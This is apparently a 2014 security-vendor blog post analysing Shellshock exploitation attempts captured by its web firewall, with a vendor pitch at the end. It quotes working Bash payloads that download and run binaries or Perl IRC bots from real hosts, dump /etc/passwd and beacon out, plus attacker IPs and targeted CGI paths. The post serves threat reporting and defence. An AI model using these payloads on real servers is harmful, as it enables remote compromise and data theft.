The Bash ShellShocker vulnerability was first disclosed to the public yesterday, 2014/Sep/24. Just a few hours after the initial release, we started to see a few scans looking for vulnerable servers. Our Website Firewall (CloudProxy) had already virtually patched the vulnerability via it’s Zero Day response mechanism. This allowed us to to create sinkholes to start analyzing the incoming attacks, current and as they evolve.

Most of the scans were not malicious; they appeared to be checking for the vulnerability, which is to be expected as researchers began checking their environments and others.

Most scan attempts were benign and looked something like this:

"() { :;}; /bin/bash -c x22uname -ax22"

"() { :;}; echo vulnerable' bash -c x22ls /x22" 

As the news about this vulnerability spread, nothing much major happened. Various posts were released talking to the potential impact, breakdown of the possibilities, etc. In fact, many researchers thought it was more FUD than the huge security issue the media was making it out to be. We were not discounting the seriousness of the vulnerability, but an exploit appeared to require a very unique server configuration, affecting a low number of web servers. The odds would be in your favour to have better luck scanning and exploiting the great number of out of date versions of WordPress, Joomla, Drupal and their various extensions and components.

Bash ShellShocker – Day 1

Our perspective on this changed when we identified cPanel as the potential entry point. cPanel servers are employed by thousands – if not millions of websites owners, now putting those website owners and their website in the direct line of fire, regardless of platform. What started as something big, but not critical, rapidly switched priorities.

In the first day, few hours, we are seeing thousands of requests to different web sites attempting all types of exploits.

From attackers trying to set up remote shells:

"() { :; }; /bin/bash -c x22if [ $(/bin/uname -m | /bin/grep 64) ]; 
then /usr/bin/wget 82.118.242.223:5487/v64 -O /tmp/.osock;  else /usr/bin/wget 82.118.242.223:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &x22" "PROXYBLOCKID:" "

To the configuration of IRC bots:

() { :;}; /bin/bash -c x22cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jurx22"

All being crammed inside the user agent, referrer and other HTTP headers. We are also seeing a lot of discovery still going on, like these attempts:

() { ignored;};/usr/bin/wget 176.99.6.189:3128/site.com"

() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"

() { :; }; /bin/cat /etc/passwd > /tmp/d1.txt"

() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq"

() { :; }; ping -c 17 209.126.230.74" "() { :; }; ping -c 17 209.126.230.74" 

() { :;}; /bin/bash -c x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=site.com -O /tmp/a.plx22"

() { :;}; echo; /usr/bin/id" "https://shellshock.detectify.com"

() { :;}; /usr/bin/env curl -s http://antalos.com/l.php?trg=sitbase64   > /dev/null" "() { :;}; /usr/bin
/env curl -s http://antalos.com/l.php?trg=sitebase64  > /dev/null"

() { :;}; /bin/env curl -s http://panhandlenursing.org/lib/adv_reports/l/l.php?trg=sitebase64  > /dev/nu
ll"

() { :;}; /bin/bash -c x22wget http://psicologoweb.net/mc/s.php/site.comx22"

() { :;}; wget http://shellshock.brandonpotter.com/report/site/Referer" 

() { :; }; curl http://vk.websecurelogin.com/b/?url=websiterecord.com/dm/xar.sh"

() { test;};/usr/bin/wget http://ytcracker.com/music/spamtec%20-%20apm.mp3 -O ~/cgi-bin/APM.mp3"

And even via email:

() { :; }; mail -s x22Your filesx22 [email protected]

So far we identified 90+ different IP addresses doing mass scans, the worst offenders being:

     23.235.43.31
     54.228.25.245
     23.235.43.21
     23.235.43.27
     198.58.106.99
     23.235.43.25
     23.235.43.23
     23.235.43.29
     108.174.50.137
     201.67.234.45
     128.199.216.68
     75.127.84.182
     82.118.242.223
     24.251.197.244
     166.78.61.142

The most targeted URLs have been:

/cgi-sys/entropysearch.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-mod/index.cgi
/cgi-bin/test.cgi
/cgi-bin-sdb/printenv

We will keep monitoring and we will post more details as we go.

If you think or find that your web server is vulnerable but find yourself in a position where you can’t patch for whatever reason, not to worry. We will providing 30 day free trials of our Website Firewall, please submit an email to [email protected].

Many might be using the CloudFlare Free product, please note that you are not protected from this with their Free product as it is a CDN and not a WAF. To get protection from this, and any other software vulnerabilities, you’ll need to use one of their paid products.

Additionally, CloudFlare has prepared Web Application Firewall (WAF) rules to protect customers who have not yet patched their own servers. This firewall rule is available to Pro, Business, and Enterprise customers. We have enabled this rule by default, so no WAF configuration is necessary. – CloudFlare

Not to worry, our Website Firewall sits perfectly behind the CloudFlare CDN and we have ample instructions on how to achieve this. Get the best of performance optimization, while keeping your website and it’s readers safe.

Via Sucuri.net